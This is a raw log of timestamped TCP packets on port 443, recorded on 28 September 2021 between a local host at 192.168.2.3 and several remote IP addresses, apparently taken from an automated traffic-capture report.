Sep 28, 2021 09:52:41.691272974 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.701281071 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.701303959 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.701766968 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.701833010 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.707912922 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.707943916 CEST	443	49789	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.708376884 CEST	443	49789	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.708422899 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.728413105 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.752738953 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.752810001 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.752827883 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.752888918 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.752909899 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753005981 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753011942 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753068924 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753073931 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753144979 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753151894 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753223896 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753226995 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753269911 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753274918 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753317118 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753360987 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753410101 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753460884 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753508091 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753514051 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753552914 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.753618002 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:41.753665924 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.756527901 CEST	49788	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:41.756555080 CEST	443	49788	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:42.271215916 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.271275997 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.271368980 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.272699118 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.272707939 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.272721052 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.272749901 CEST	443	49797	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.273437023 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.275301933 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.275314093 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.275331974 CEST	443	49798	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.275372028 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.275614977 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.275640965 CEST	443	49797	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.275652885 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.275675058 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.276213884 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.276230097 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.277169943 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.277182102 CEST	443	49798	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.315864086 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.316035032 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.322124004 CEST	443	49797	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.322861910 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.327678919 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.327697039 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.328692913 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.328702927 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.331974983 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.332000017 CEST	443	49797	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.332104921 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.332220078 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.332405090 CEST	443	49797	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.332529068 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.332642078 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.332643986 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.337115049 CEST	443	49798	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.337495089 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.339719057 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.339735031 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.340010881 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.340540886 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.354393959 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.354801893 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.354827881 CEST	443	49798	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.355154037 CEST	443	49798	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.355482101 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.357261896 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.357335091 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.357351065 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.357439995 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.357455969 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.357508898 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.357860088 CEST	49796	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:42.357882023 CEST	443	49796	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:42.374804974 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.374908924 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.374926090 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.374978065 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:42.375062943 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.383183956 CEST	49799	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:52:42.383213043 CEST	443	49799	142.250.186.70	192.168.2.3
Sep 28, 2021 09:52:56.256177902 CEST	443	49774	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:56.256253958 CEST	443	49774	104.20.184.68	192.168.2.3
Sep 28, 2021 09:52:56.256285906 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:56.256324053 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:52:56.671278000 CEST	443	49789	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:56.671375036 CEST	443	49789	172.67.70.134	192.168.2.3
Sep 28, 2021 09:52:56.671382904 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:56.671421051 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:52:57.316143990 CEST	443	49797	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:57.316216946 CEST	443	49797	104.26.2.70	192.168.2.3
Sep 28, 2021 09:52:57.316255093 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:52:57.316474915 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:53:14.606103897 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:14.606158972 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:14.606386900 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:14.645191908 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:14.645217896 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:14.763739109 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:14.764372110 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:15.176717997 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:15.176734924 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:15.177150965 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:15.177273989 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:15.180804014 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:15.180875063 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.391305923 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.391330957 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.391372919 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.391427994 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.391441107 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.391762018 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.391767979 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.419250965 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.419286013 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.419404030 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.419433117 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.419440985 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.419617891 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.459930897 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.459992886 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.460015059 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.460024118 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.460055113 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.460086107 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.460138083 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.460151911 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.460158110 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.460175991 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.462141037 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.462145090 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.667342901 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.667402029 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.667442083 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.668652058 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.668667078 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.668684959 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.670394897 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.710541964 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.711668968 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.712953091 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.713021994 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.713068962 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.713078976 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.713088989 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.713103056 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.713212013 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.713217020 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.754570961 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.754689932 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.754740000 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.754772902 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.754950047 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.754961967 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.754973888 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.754978895 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.755004883 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.756948948 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.864407063 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.864495993 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.864545107 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.864547968 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.864559889 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.864625931 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.864631891 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.864686966 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.864692926 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.864739895 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.864805937 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.865626097 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.865694046 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.865716934 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.865725040 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.865813971 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.865823030 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.865909100 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.865910053 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.865912914 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.865922928 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.865995884 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.866084099 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894509077 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894578934 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894615889 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894670010 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894680023 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894701958 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894735098 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894792080 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894834042 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894840956 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894848108 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894860983 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894870043 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894875050 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894892931 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894897938 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894921064 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.894932032 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.894983053 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.895021915 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.895029068 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.895041943 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.895068884 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.895087004 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.895092010 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.895101070 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.895221949 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.895878077 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.895926952 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.895944118 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.896095991 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.896102905 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.896136999 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.896331072 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.938563108 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.938620090 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.938656092 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.938666105 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.938678026 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.938707113 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.938764095 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.938858032 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.938864946 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:17.938895941 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:17.938992977 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.052586079 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.052640915 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.052673101 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.052696943 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.052709103 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.052725077 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.052736044 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.052776098 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.052855968 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.052862883 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.052995920 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.151304007 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.151364088 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.151413918 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.151444912 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.151726007 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.151742935 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.151755095 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.151763916 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.151894093 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.420106888 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.420176983 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.420241117 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.426414013 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.426444054 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.426486969 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.426495075 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.432307959 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.462280989 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.462380886 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.462431908 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.462467909 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.462739944 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.462750912 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.462840080 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.463165045 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.463596106 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.463692904 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.463737965 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.463771105 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.467168093 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.467185974 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.467205048 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.467216969 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.467221022 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.471998930 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.472026110 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.472048998 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.472103119 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.472673893 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.472692013 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.472790003 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.473064899 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.655392885 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.655467987 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.655510902 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.655548096 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.655627012 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:18.655740023 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.655750036 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.655754089 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.656035900 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.659823895 CEST	49843	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:18.659888983 CEST	443	49843	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:24.635042906 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:24.635083914 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:24.635181904 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:24.770612001 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:24.770643950 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:24.837287903 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:24.837428093 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:25.458734035 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:25.458775997 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:25.459167004 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:25.464278936 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:25.464322090 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:25.464401007 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.593164921 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.593189001 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.593260050 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.593281031 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.593662977 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.593677044 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.623452902 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.623495102 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.623686075 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.623709917 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.623728037 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.625149965 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.661782026 CEST	443	49856	161.35.19.83	192.168.2.3
